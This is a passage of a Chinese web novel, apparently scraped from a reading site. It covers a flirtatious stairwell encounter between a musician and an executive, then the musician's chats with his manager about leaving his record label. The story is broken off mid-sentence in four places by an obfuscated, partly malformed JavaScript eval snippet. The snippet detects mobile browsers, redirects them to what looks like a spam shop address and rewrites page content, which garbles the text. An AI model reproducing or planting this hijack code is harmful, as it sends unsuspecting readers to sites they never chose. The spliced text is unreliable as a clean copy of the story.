说实话,就这么一张好看得离谱的美人面,他这个没怎么见过世面的还真舍不得说点儿重话,哪怕对面这位打人是真疼啊。 祁砚知继续栖身缓缓靠近眯起了漂亮的桃花眼,沾了几分艳色的嘴唇一张一合,干净而又不容抗拒的男声清晰地吐出一句, “不疼就快滚,不然就去死,听明白了吗?” 一八七的身高慢慢逼近的时候压迫感十足,对面那人瞬间酒醒了一半,被打的那巴掌还在脸上隐隐作痛,时刻提醒着他面前这人实在惹不起。 但他同时又想,上一辈老人话说得果然没错,越美丽的事物往往越危险,尤其把这话放到人身上,简直就跟箴言似的一听一个准儿。 “明……明白了。”对方声音弱弱的,捂脸时的眼神既愤恨又带了点儿掩饰不住的害怕。 祁砚知其实想说他不吃人,但他才刚退开半步,这人就不带丝毫犹豫地,立刻跳着台阶冲了下去。 一口气都不带歇的那种,看得祁砚知嘴角实在忍不住抽了抽。 “我有这么吓人么?” 祁砚知在下层的平台处稍稍停了会儿,没走下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133335|149981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就这么沉默地朝下望着,上层平台撑在扶手边的蒋昭南莫名觉得有点冷,披在肩上的西装被他理了理顺势穿了回去。 还没等蒋昭南抚平袖口的褶皱,那道收起了锋利,平静到开始显露出悦耳的嗓音近乎是砸一般落在了他的耳畔, “别偷听了,出来吧,早就知道你在那儿了。” 男人的声音透着股只开玩笑才会存在的戏谑,没沾染方才出现的万分之一的恶意,只单纯的调笑,直白又干脆。 蒋昭南犹豫了一小会儿,祁砚知没催他,侧身向上望去的时候面上没什么表情。 没等太久,蒋昭南最终还是朝前迈了几步,角度刚好够祁砚知看清他的模样,当然,也够蒋昭南看清祁砚知的模样。 酒吧的DJ不知道抽了什么疯,此刻竟响起了本该完全不属于这里的抒情舞曲,旋律藏着法兰西一贯的浪漫风情,神秘又带着那么点儿几不可察的深沉与忧郁。 祁砚知几年前听过这首曲子,标准的法式情歌,一辆冒着蒸汽驶在绿色田野的列车,一节洋溢着优美歌声的车厢,一位年迈的拿着钢笔在信封上落下姓名的象征派诗人。 没有目的地的列车自由地涌入一个新的时代,没有收信人的信件永远地埋葬在夏夜的微风里。 时至今日,祁砚知仍记得这首歌的寓意,旧时代落幕后,新时代来临前,那个短暂的时间缝隙里,人们曾拥有过的, 飞蛾扑火的爱情。 蒋昭南没听过这首歌,更不知道歌词的含义,他能说一口流利的英语,什么腔调都能模仿,俄语也一样,几乎可以说是精通,西班牙语说起来虽然笨拙,却也不影响沟通。 唯独法语,除非必要,不然绝不可能碰一下。 优雅低沉的吟唱在他们投向彼此的目光中流转,祁砚知深不见底的双眸倒映在蒋昭南浅色的瞳孔里,后者不死心地望着,迫切又带着几分偏执的视线一寸寸梭巡着,前者莫名觉得好笑地站在原地,任他打量任他找寻,任他确认过后重新落入早就该接受的失望中。 “艹,还真特么是男的。”蒋昭南笑得苦涩,攥紧的拳头略显无措地垂在西裤一侧。 其实早就看到了,就在他们对话的时候,那头柔软漂亮的蓝色短发,于女人而言的确是短发,对男人来说却是长发。 发丝染过还烫过,蓬松地错落地交叠在一起,不经意撩起颊边的鬓发时,耳垂边又会露出一个十字架模样的银质耳环,左耳是十字架,右耳似乎是一个简单的素色单圈。 不过这人耳朵上的耳洞似乎远不止这两个,耳轮、耳桥,一个挂了锁链,一个穿了根耳针。 蒋昭南粗略估计了下,两只耳朵零零总总加起来差不多五个耳洞,不算太多也算不上少的数字。 至于那张他忘不了的侧脸以及那个只一眼就让他陷进去的背影,统统都跟他面前这人对上了。 而对方,是一个男人。 5. 死变态 蒋昭南有点不知道该怎样去形容现在的感觉,对面的男人漂亮得不似真人,没化妆,皮肤白得跟雪一样,像他上回送人选的和田玉,通透又干净。 但同时蒋昭南又在怀疑对方是不是有一点白人血统,因为这人除了白,五官或多或少都沾了一点欧美人的特点,尤其眉骨和眼睛,前者他只在某个卖红酒的法国佬脸上见过,后者…… 蒋昭南忍不住仔细观察了一下,对方没动,知道他在观察自己的眼睛,祁砚知愣了一瞬,随后笑了笑目不转睛地盯着蒋昭南脖颈边空无一物的皮肤。 祁砚知的眼睛似乎不是完全的漆黑,外头旋转的射灯将紫黄色的光一点点倾洒在了只他们两人存在的楼梯间,蒋昭南站得高一些,从上往下望的时候祁砚知就这么直白而自然地与他对视。 蒋昭南看清了,是他最喜欢的,玛瑙的颜色, 蓝黑。 祁砚知已经在下层平台站了很久,久到他开始沿着刚刚走下去的楼梯一阶一阶地,重新上前。 蒋昭南不知道在想什么,聚焦的视线一寸寸迷离地散开,直到身旁极近的地方多出一双露出手腕的手臂,缓慢地,直接地,将他圈进了靠近平台栏杆的角落。 “你干什么?”蒋昭南用胳膊抵住祁砚知不断逼近的胸膛,向后弯着腰,半迷蒙半不解地望着他。 蒋昭南净身高一八四,穿皮鞋大概一八六,这个身高无论放国内还是国外都绝对算不上矮,但现在把他逼近角落的男人只穿了一双平底的黑色板鞋,看起来居然比他还高一到两厘米。 “看够了么?”祁砚知栖身的时候脑袋微微低垂着靠近蒋昭南耳边,喷薄的热气时轻时重地斜洒在蒋昭南的颈边。 蒋昭南皮肤薄,稍微遇上点热气,整块儿皮肤就会通红一片,祁砚知又是个坏心眼的,他低头看向蒋昭南颈边那一小撮染上红晕的皮肤只觉得牙莫名有点痒,很想就这么不管不顾地咬下去。 被抵在栏杆边缘的蒋昭南怀疑自己还没醒,至少之前喝的那些酒应该对脑子还有影响,不然正常情况下他怎么可能允许一个陌生男人把他不由分说地堵在角落?! 望见蒋昭南跟懵了似的在他怀里低头不知道在看些什么东西,祁砚知耐着性子顺着蒋昭南的目光望去,这不望不知道,一望还真吓一跳,因为那方向正是他图方便搭在栏杆边的手腕。 手腕上没东西,祁砚知写曲会用到电脑上的各种音乐软件,戴手镯一类的饰物容易碰到键盘产生噪音,会影响他创作。但手腕上也不是完全没东西,比如他还有个纹身,半只蝴蝶,准确地说,是半只翠蓝眼蛱蝶。 “看够了么?”祁砚知低垂着眉眼轻声再问了一遍,与此同时,那只被蒋昭南紧紧盯着的手腕被他不动声色地塞回了袖口。 “什么?”蒋昭南微微抬头,一张美得极具冲击力的面庞朝他缓缓靠近,对方弧度优美的唇瓣与他的嘴唇只相隔短短几厘。 说实话,如果现在是在拍电影,那拍这戏的导演一定会将这帧画面作为电影的宣传海报。 可问题是这不是在拍电影,这是现实,这是没有剧本没有导演更没有摄像机的现实。 在现实里,任何人都必须考虑后果。 意识到对方想干什么的蒋昭南立刻反应过来偏头躲开祁砚知的亲吻,没得逞的祁砚知凑近蒋昭南的颈边低声笑了笑。 祁砚知本来就没想做什么,洁癖这玩意儿真不是说着玩儿的,尽管对方的确从身高到长相都完美踩中了他的审美点,但第一次见面就亲嘴这事儿他还实在做不到,所以就当逗小猫小狗一样逗他玩儿而已。 很明显,蒋昭南当了真,一句不可置信的“我艹,你踏马是gay?!”差点没把祁砚知的耳朵震聋。 听到蒋昭南这句蠢得不能再蠢的问句,“把他从这里扔下去”的念头从祁砚知的脑海一闪而过,但现在是法治社会,还不想在某档法治栏目看见自己的祁砚知忍着无语问他,“你觉得直男会把你圈在这里还想亲你?” “直男的确不会,”蒋昭南顺着点了点头,随后几乎是用极为认真的语气一字一句道,“但除了gay,死变态也可能会干这事儿。” “所以,你到底是死变态还是gay?” 活了二十几年头一次被人问“你是死变态还是gay”的祁砚知实在怀疑面前这人是老天派来克他的,不然这家伙为什么能在完美符合他这个颜控要求的同时,又精准地踩中他为数不多的雷点。 “我说你够了吧。”祁砚知直起腰身稍稍后退了几步,给蒋昭南留出了同样能站直的空间。 “够什么?” 蒋昭南揉了揉酸麻的后颈抬眼打量面前看不出什么情绪的祁砚知,他平常有锻炼的习惯,一周大概三次,专挑晚上八九点的时候去健身房撸铁。 回国的这一个月被公司的事情拖着疏忽了锻炼,不过也就一个月,这么多年的健身成果可不是什么摆设。 结果也不知道这小子到底是吃什么长大的,看着瘦,力气居然还挺大,他刚刚用力想推开他的时候竟然一点用都没有。 祁砚知靠在栏杆边侧头望向蒋昭南的眼神既干净又复杂,干净是因为他的眼睛很漂亮,盯人的时候无端让人想起深蓝色的大海,透着股难言的静谧与惬意。 复杂又是因为现在的祁砚知是真搞不懂这家伙是真傻还是装傻,一口一个“死变态”可以听出他是真的讨厌甚至于厌恶gay。 但祁砚知又是真的想请问这个世界有哪个直男会一直盯着男人的脸看半天,甚至在他慢慢靠近差点吻上去的时候还一动不动地待在他怀里? 这算什么? 日常直男,偶尔当gay? 蒋昭南看不懂祁砚知的眼神,更不想看懂,他现在只觉得辛逾白这家伙简直就是当代乌鸦嘴转世,他说他那艳遇有可能是个男人,结果没想到还真特么是个男人。 更倒霉的是这男人似乎还是个第一次见面就想亲他的gay,要不是紧要关头他突然反应过来躲开了,不然这守了二十多年的初吻可就真这么稀里糊涂地交代在这儿了。 想想就离谱,干脆死了算了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133336|149981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “话说,”祁砚知手抚在栏杆边目光随意地打量着蒋昭南问道,“你真不是gay?” “gay你大爷啊!”活了二十六年现在已经是某公司老总的蒋昭南听到这话还是忍不住炸了毛,“我特么是纯直男,比钢筋还直,根本弯不了一点儿!” 嗯,蠢直男,这话说得一点儿没错,祁砚知在心里默默给他补充着。 “这样啊—”祁砚知装作很遗憾的样子略微有些失望地垂了垂眸,蒋昭南看见了,一眼也不留念,没什么表情地撇开了头。 祁砚知却在这时起了坏心思,故意挤进蒋昭南目光投射的方向一脸认真地开口问道, “那你给睡么?做下面那个,纯享受那种。” “你说什么?!”蒋昭南瞳孔都被震惊到开始轻微地震颤了,浅色眼睛轻轻颤动时好似会浮起一层层透明的水浪,祁砚知看得有点入神。 然而蒋昭南却死死盯着祁砚知的眼睛厉声喊道,“你有本事再说一遍!” 再说一遍而已,跟有没有本事谈得上什么关系? 祁砚知不理解,但他还是边继续观察蒋昭南的眼睛边毫无负罪感地重复问了一遍,“你给睡……” 其实“睡”字还没出口,祁砚知就被蒋昭南突然脱下来的西装砸了个满怀,更甚者蒋昭南气得没收住力,外套差点顺着祁砚知的手臂从栏杆边掉了出去。 “你特么是不是听不懂人话?!” 还没等祁砚知反应过来,蒋昭南立刻毫不客气地骂开了,“都说了老子不是gay,不喜欢男的,更不喜欢不要脸的男的!” “死男同给老子滚远点!” 说实话,祁砚知有点懵,这种懵不是被蒋昭南骂懵的,开玩笑,就这种程度的辱骂还不够他塞牙缝的。 祁砚知懵是因为他没想到对方还挺有脾气,刚才把人圈怀里的时候还以为他属于长得硬性子软那种,结果没想到这人居然脾气也挺“硬”。 蒋昭南才不管祁砚知在想什么,他弯腰从地上捡起刚刚扔出去的西装轻轻拍了拍,随后恶狠狠地朝祁砚知竖了个标准的中指。 祁砚知还以为蒋昭南这样子是想再朝他骂两句,结果人只是捡起西装重新披在肩上绕过他那条搁在台阶中央的腿,边下楼边颇有些信誓旦旦地补了一句, “况且就算老子是gay,那也绝不做下面那个!” 祁砚知:“?” 怎么说呢? 有些话不说还好,一说就不对劲了,反正至少这句话,祁砚知是真品出了几分欲盖弥彰那味儿。 一眨眼的功夫人就走远了,祁砚知没追,一个是因为他追上去准少不了再挨几句骂,上赶着找骂这事儿他还暂时不想做。 另一个是因为他没下去追的必要,这家伙走得急,没发现刚扔他身上的西装口袋里还有一张名片,现在这张掉地上的名片被祁砚知给慢慢捡了起来。 顺着名片正面印上去的烫金文字,祁砚知轻轻念出了声, “谊莱集团怀靖分部董事—蒋昭南。” 6. 《蓝海》 宿醉的感觉真不太好受,祁砚知从客厅那张他花高价从国外定制的艺术沙发上坐起来时,整个脑袋疼得快要爆炸。 跟往常一样,每回喝完酒他都会起身来到厨房,自觉打开贴满了冰箱贴的三开门冰箱,从中间那层的最顶格拿出他昨天晚上离开前就已经冻好的酸梅汤。 小瓷锅里的水正在咕噜冒泡,祁砚知从挂在墙壁上的架子里抽了把汤勺放进瓷锅搅了搅,等冒着热气的酸梅汤已经彻底沸腾后才慢慢熄了火。 酸梅汤凉下来需要点时间,祁砚知等得起,只是这期间他从裤子口袋里掏出手机解锁看了看,微信列表都没置顶,排在最上面的那个蜡笔小新头像右上方多了一个数字为“六”的红点。 看到这数字祁砚知简直习以为常,段远这家伙就跟有强迫症似的不管干什么都得凑个偶数,发消息这事更没个节制,反正没上限,随便发几个表情都能凑一凑。 更别说正在聊正事儿的时候发一堆毫无意义的颜文字,对跟他微信聊过天的人来说简直就是家常便饭。 自动忽略消息里毫无营养的表情包和颜文字,祁砚知从中精准地找出了唯一有用的那条。 【非玄学不算命】:祁哥,你这影响力真不是吹的啊,单曲刚上线就爆了,现在点赞已经达到了10w+,评论也达到了6w+ 爆了? 祁砚知退出微信换大号登进网易云,果不其然在搜索栏下方的热搜榜上看见了自己的歌,实时排名第一,最右边是一个小小的红方块儿,中央赫然是一个“爆”字。 祁砚知顺着歌名点了进去,点赞30w+,评论13w+,距段远大半夜给他发的那条消息只过去了短短八个小时。 实在好奇这首商业曲怎么火得这么莫名其妙的祁砚知随手点开了评论区,结果向下划拉一溜烟儿的彩虹屁差点没把他眼睛晃瞎。 ——呜呜呜老公终于发歌了,今天是什么日子啊,买彩票会不会中大奖? ——回楼上的,中大奖应该不至于,但简单中个几百块钱应该不成问题。 ——不对啊,老公前几个月不才发了首摇滚乐嘛,怎么那时候不见你们这么激动? ——其实……虽然我是Q的五年老粉,各个时期的实体专辑买了不下八十套,但那二十几首迷幻摇滚是真听不下去啊,感觉是放夜店蹦迪都嫌吵的程度。 ——能说吗?其实我是老公放飞自我的受害者…… ——受害者+1 ——受害者再+1 ………… 一直到祁砚知开始有点翻累了才看到一条刚发出来就被持续点赞的评论: ——说实话,我感觉老公喜欢发几首能拿奖的单曲再奖励自己一首吵死人的迷幻摇滚,如果这条评论能被Q看到的话,我真心想说,老公你如果再这么不管我们粉丝死活的话,我会选择短暂地脱粉十秒! 也就喝口酸梅汤的功夫,这条评论已经破了两千赞,祁砚知见状用空出来的那只手给它又贴心地送了一个赞。 底下的评论还在不断刷新,祁砚知喝完半杯酸梅汤将它倒进水槽顺手冲了干净,做完这些他才趿拉着各自纹着半边蝴蝶翅膀的拖鞋慢慢回到了刚刚坐下的沙发上。 血管清晰可见的指尖在评论区飞快打下一行所有人可见的文字,祁砚知检查完发出去的下一秒,这条评论立刻被赞到了1k+,底下紧接着的回复也接近五百条。 【Q】:很感谢大家喜欢《蓝海》这首歌,同以前发行的每首单曲都一样,这首歌的词曲仍然完全由我独立创作,灵感来自西弗卡这季度推出的“海蓝宝石”系列珠宝,背景基于十九世纪初发生在大海上的经典童话故事。 ——失踪人口回归!老公你终于在评论区说话了!爷青结啊啊啊! ——我就说老公为什么突然选这个时候发新歌,微博上一点预热都没有,原来是首商业曲,虽然也很好听,但老公我还是要谴责你! ——楼上先别谴责,从好的方面讲老公至少发歌了,并且旋律和歌词都很用心,大家没必要把它当成那种故意迎合资本粗制滥造的口水歌。 ——对啊,这次虽然是商业曲,但老公也从没敷衍过我们,歌词有内涵,曲子也不是那种烂大街的东西,不管从哪方面讲都没辜负我们粉丝的期待。再说老公也要赚钱啊,没钱怎么继续产出好听的音乐。 ——楼上的关注点怎么都在商业曲上,恕我直言,这是不是商业曲真的有这么重要吗?现在整个歌手圈都在经历寒冬时期,谁想挣点钱都不容易,没必要站什么道德层面指责别人。 ——同意前一楼的观点,从我们这些歌迷角度上讲,一首歌只要好听就完了,至于是不是给资本写的又有什么关系?大家都是喜欢Q很久的粉丝,都别吵伤了和气。 ——就是就是,这次居然都还能因为商业曲吵起来,等下次老公筹备新歌一消失就是小半年的时候才有我们哭的。 评论翻到这儿祁砚知就不想翻了,刚刚那条他随手点过赞的评论已经被顶到了他自己那条评论的下方,底下的回复也是一溜烟儿的【羡慕】和【求翻牌】,祁砚知简单看了两眼就退出网易云重新点开了微信。 【Q】:甲方那边怎么说? 段远那边几乎是秒回。 【非玄学不算命】:祁哥你是说西弗卡中国区的对接人吧?(思考小猫.jpg) 【Q】:嗯。 【非玄学不算命】:说到这事儿我就来气,公司那边给我发消息了,他们同意解约,但你上次绕开公司让那对接人单独汇到你账户里的钱至少得分一半给他们,而且…… 【Q】:而且什么?分一半这事儿我早料到了,本来就是为了早点解约给他们挖的坑,现在跳下去,时机也挺好。 【非玄学不算命】:不是祁哥,我接下来说这事儿你可得提前有个心理准备,半年前你提解约董事那边是一点儿口都不松。现在好了,对赌协议赢了,他们不得不放你走,结果走之前这群龟孙子还惦记着从你身上扒点儿东西下来。 是该有点心理准备,祁砚知看着屏幕上这个闪烁的蜡笔小新头像默默地想,毕竟连段远这么不着调的家伙都能在发长段文字后忍着不发俩表情包,看来这狗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133337|149981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公司提的条件应该没安什么好心。 【Q】:行了,你说吧,我有准备。 【非玄学不算命】:真的吗?那我说咯?(试探小狗.jpg) 非得挑紧要关头来这套,祁砚知看着这条消息颇有几分想冲进屏幕把段远拖出来打一顿的冲动。 【Q】:快点说!(磨刀.jpg) 【非玄学不算命】:嘶,祁哥你怎么这么凶?作为一个已经谈了两年四个月零三天恋爱的过来人,我不得不很沉重地提醒祁哥你,如果你今后还像现在这么凶的话,那基本是找不着老婆的。 都到现在这么重要的时候还能跟他皮,看来这狗公司提的条件其实也没有那么难以接受? 【Q】:我能不能找到老婆确实不好说,但你如果再不干正事儿的话,上个月提过要给的奖金可就也不好说了。 【非玄学不算命】:不要啊祁哥,那是我在微博苦战二十多天黑粉才赚来的辛苦钱啊,不能说不给就不给啊! 【Q】:(黄脸微笑.jpg) 【非玄学不算命】:我说!立刻说!马上说! 【非玄学不算命】:其实吧……也没啥特别的,无非就是这个黑心公司它想……它想把你这七年卖过最火的五张专辑版权都留下来…… 【非玄学不算命】:祁哥你先别气,我知道这条件忒不要脸了,但你不知道他们原本想的是留下你发过的所有歌的版权,现在这条件都已经算是我据理力争后的结果了。 五分钟过去,祁砚知没回消息。 又过去了五分钟,祁砚知还是没回消息。 段远猜不准祁砚知现在在想什么,于是只好哆哆嗦嗦地再发一条消息。 【非玄学不算命】:不会吧祁哥,你不会是气死了吧?(惊恐.jpg) 刚去厨房冰箱拿了瓶罐装可乐喝完丢进垃圾桶的祁砚知有点无法形容他现在的感受,就好比他可能只是简单地睡了一觉,结果刚睡醒就有人发消息问他到底死没死。 你说这是人性的泯灭,还是道德的沦丧呢? 或许,两者都是吧。 【Q】:…… 【Q】:合同看过了么? 又是一次酣畅淋漓的秒回。 【非玄学不算命】:祁哥你是说你七年前签的那个专属合约吧,我看过了,虽说“允许乙方保留名下任何歌曲版权”这条的确很良心,但其他大多都是霸王条款,尤其分成和佣金那块儿,我就没见过比这还恶心的。 说实话,段远只要一想起那合同就觉得他哥实在太可怜了,这么多年没日没夜地创作就为了对得起粉丝,对得起自己,结果这狗公司不仅不帮忙,甚至祁砚知每年写的Demo有不少都会被他们拿去养新人。 屁事不干,钱还分大半,换他当公司老总,手下有祁砚知这么个天才,还是出了名的劳模,恐怕做梦都会笑醒。 结果人不但不珍惜,还处处想办法打压,简直不知道他是脑袋长到了脚上,还是脚长到了脑袋上? 又或者,他是既没长脚也没长脑袋,蠢得只知道在地上蛄蛹! 7. 官司 幸好这几年祁砚知慢慢醒悟过来这狗公司根本靠不住,不然如果再不解约的话段远实在想不到他会被压榨成什么样? 生产队的驴都不敢这么用,更别说他是人,活生生的人啊! 屏幕另一头的祁砚知完全不知道短短半分钟段远的心理活动已经丰富到了这种程度,他只不紧不慢地用指尖在微信弹出的聊天框平静地敲出一条消息: 【Q】:你误会了,我说的不是签约合同。 【非玄学不算命】:不是签约合同?那是什么?莫非是……解约合同?! 就俩合同,不是签约,那就只能是解约呗,未必还要续约? 【Q】:(怀疑智商.gif) 【Q】:对 这次段远没秒回,估计是在斟酌到底怎么回,祁砚知稍微等了会儿,刚好靠近阳台摆着的那盆蝴蝶兰根有点灰绿甚至发白,祁砚知起身走到电视柜拿起放中央的喷水壶,顺手给一旁的蝴蝶兰浇了个透。 浇水的过程中,段远的消息也发过来了: 【非玄学不算命】:祁哥你…… 其实祁砚知并没有看到这条消息,因为给蝴蝶兰浇水还得把壶拎着靠近它根部浇,就这么弯了会儿腰的功夫,等他再点开微信界面,赫然躺着一句:【“非玄学不算命”撤回了一条消息】 祁砚知:“……” 【Q】:…… 【Q】:你是不是想死。 【非玄学不算命】:我靠没啊,我不是这意思,祁哥你千万别生气! 【Q】:(无语黄脸.jpg) 【Q】:不想死就干正事,问你解约合同看过没? 这次段远回得很快: 【非玄学不算命】:看过了,除了那个多出的违约金和版权我觉得有点难以接受外,其他都是正常解约要走的流程。 【Q】:嗯。(大拇指.jpg) 【Q】:合同现在在你家里么? 【非玄学不算命】:在的,祁哥你现在要看吗?如果要看的话我直接拍照发你。 【Q】:不用,我相信你的能力,你明天来我家的时候顺便把它带来,我签完字就把它寄回去。 【非玄学不算命】:(惊恐小猫.jpg) 【非玄学不算命】:等等我没看错吧,祁哥你说你要签字???!!! 祁砚知:“……” 我是要签字,不是要死了,这么多个问号和感叹号究竟是要闹哪样,给我各上三炷香吗? 【Q】:(双枪小猫.jpg) 【Q】:嗯,我要签字。 【非玄学不算命】:(躲闪小狗.jpg) 【非玄学不算命】:可是祁哥你不再考虑会儿吗?这合同签完寄回去可就有法律效力了,咱就再没回头的机会了。 回头? 回哪门子的头? 蝴蝶兰已经浇得差不多了,青绿色的茎杆挂满了水滴,祁砚知边回消息边无意识捏了捏花瓣,宝石蓝,他专门找人染的色。 【Q】:我没想过回头,解约这天已经拖了很久,不能再这么拖下去了。 【非玄学不算命】:但祁哥你想啊,那五张专辑的销量你也不是不知道,个顶个的能打,那里面随便挑首单曲都是获过奖或者获过提名的程度,不仅制作精良而且传唱度极高,就算不考虑分成这事儿,就冲那么多经典的好歌再也不能唱我都替你觉得惋惜。 又是一阵良久的沉默,对话的聊天界面迟迟未能弹出第二条消息。 惋惜? 会惋惜吗? 当然会。 为什么? 因为,那是属于他的,一整个七年。 段远也知道这对祁砚知而言是个很难跨过去的坎儿,不提还好,一提就跟戳他脊梁骨似的,从里到外疼得发麻。可问题是作为祁砚知现在唯一的经纪人,他必须得把这事儿放现在来讲,否则解约是快活了,等后面冷静下来重新思考这个问题的时候估计又会遗憾和后悔。 认识这么些年了,他还是不想看到他颓丧到整夜整夜喝酒,完全一副自暴自弃的模样。 反正对赌协议都赢了,打个官司又不是什么很困难的事。 然而接下来祁砚知发的一条消息却让他不得不沉默下来: 【Q】:段远,你知道的,我等不了太久。 的确等不了太久,打官司这事儿祁砚知也不是没想过,可问题是他的新歌已经在筹备当中了,想的是给粉丝一个惊喜,所以计划在三个月后的出道纪念日当天将它发出。 如果要打官司的话,无论他们这边的优势再大请再好的律师,根据要求走完各种程序,前前后后至少也得等个小半年,更何况公司那边的法务也不是吃素的,祁砚知当时签合同要求保留的版权本就不符合正常的条款规定,这么多年没走无非也就是看在他们在版权问题上给了他极大的信任与自由。 但如果对方律师拿这一条来卡他的话,一个没搞好说不定所有歌的版权都得被人拿走。 拿自己这七年来的所有心血来赌,换从前那个身无分文仅凭一腔热血创作的祁砚知,那完全就是一件再简单不过的小事。 可现在,他不再是孤家寡人,他的背后还关系着别人的未来,他不能赌,因为现在的祁砚知是真特么的输不起。 眼见“非玄学不算命”变成“对方正在输入中”,又从“对方正在输入中”变成“非玄学不算命”,祁砚知是结结实实等了十分钟才收到段远的回复。 【非玄学不算命】:哥,说真的,这条件实在太坑了,换我肯定不干。但有句老话说得好,“留得青山在,不怕没柴烧”,前几年你风格还不成熟,现在稳定下来也有实力超过从前全凭天赋吃饭的自己了。 【非玄学不算命】:比如这次就是一个很好的证明啊,你这几年只是不怎么发歌了,又不是过气了,搞得西弗卡找你写歌还特意跟我压价。这不,歌才刚爆没多久,对方又往你卡里补了五十万。 【非玄学不算命】:所以这个月的奖金……(嘿嘿小猫. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133338|149981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' jpg) 【非玄学不算命】:为了凑个偶数,顺带再问一句,哥你真不考虑去年随哥说的打官司那事儿吗?说句不好听的,反正粉丝也不知道,你就算不给这个惊喜,跟往年一样发条微博意思一下也行啊。 祁砚知坐沙发回消息的时候正巧看到桌上摆了一个干净的烟灰缸,没记错的话应该是他去年出国的时候从一个摆摊卖瓶子的白人佬那里淘的,花多少钱忘了,反正造型挺别致,看顺眼就买了。 只可惜买完没多久他就戒烟了,现在放这桌上也是落灰,幸好每个月保洁公司过来的阿姨看它落灰都会顺带给它洗洗,不然祁砚知觉得他真可能忍不住随手给它丢了。 就在祁砚知正纠结到底是把它送段远当明年的清明节礼物,还是往里面倒营养液养点儿微型藻类送乌随研究研究时,段远的消息又发来了。 【非玄学不算命】:祁哥你怎么不回我消息?(可怜小猫.jpg) 祁砚知低头重新看手机时正巧看见了这张眼睛直勾勾盯着他的小奶猫,表情包可以放大,他单独点进去仔细看了看。说实在的,其实一点儿也不像,毕竟人是人猫是猫,这两者之间怎么可能有什么关联。 再说了,这猫一看就属于那种特粘人的家猫,他昨晚遇到的那只不仅不粘人,甚至还喜欢抓人,动不动就骂人,完全就是只不听话的野猫。 可偏偏他就喜欢野猫,喜欢那种眼神带着刺,性子烈还总是对他露爪子的野猫,够漂亮,也够刺激。 想到这儿,祁砚知从右侧的裤子口袋里慢慢摸出了昨晚捡到的名片,“蒋昭南”这三个字从昨晚离开酒吧到回家路上已经默念了不下三百次,到现在基本上已经倒背如流了。 【非玄学不算命】:??? 【非玄学不算命】:祁哥你怎么还不回我消息? 消息一条条弹出,祁砚知面无表情地把名片重新塞回口袋,表情包被他顺手划了出去,然后再点进聊天界面把这个“可怜小猫”的表情包添加到自己那一堆没怎么用过的黄脸表情里,才慢悠悠地给段远回了消息。 【Q】:没,刚刚在看小猫。 【非玄学不算命】:小猫?祁哥我记得你家里没猫啊,难不成你想养猫了? 养猫? 祁砚知认真想了想,其实也不是不行,反正家里很大,他平时只用那个改造过的录音室和卧室,如果真养只小猫的话,它能自由活动的范围可以说是非常大。 可…… 祁砚知又摇了摇头,他有洁癖,见不得房间任何地方沾上猫毛,尤其身上,沾一件丢一件,估计养猫不久他很快就没衣服穿了。 但如果是那只猫的话,祁砚知整双眼睛都亮了起来,漂亮又不长毛,连房间都不用多腾一个,直接跟他一起睡卧室就行。 最重要的是它很爱干净,昨晚靠近的时候他就闻到了,祖玛珑的橘皮香,脖颈有,西装有,就连简单的一张名片上都有,就跟故意勾他似的,一直在他鼻尖萦绕,久留不去。 有点想舔。 8. 养猫 祁砚知迟迟不回消息,搞得段远还以为这中间是不是又有谁给他发微信让他脱不开身,当然,也有可能是因为他祁哥本身打字就慢,再加上还得再那么稍稍地思考一会儿,于是这回消息速度就堪比王八过桥—半天到不了头。 总归解约这事儿就差临门一脚,踢是肯定要踢,无非就看什么时候踢,然而这什么时候踢又决定不到段远头上,于是就这么想了半天,段远决定毫无负罪感地退出微信打了两把消消乐。 【Q】:想养。 消消乐消起来的界面简直就是花里胡哨,段远这拿的是他女朋友那号,现在已经打到第1834关了,前两天他肝这关熬了一晚上都没打过去,这下运气来了估计再消几个小鸡仔就能通关了。 常言道,人在即将迎接胜利的前一刻,就是天王老子来了都得靠边儿站。 五分钟过去: 【Q】:(疑惑黄脸.jpg) 十分钟过去: 【Q】:(愤怒黄脸.jpg) 【Q】:你在干嘛? 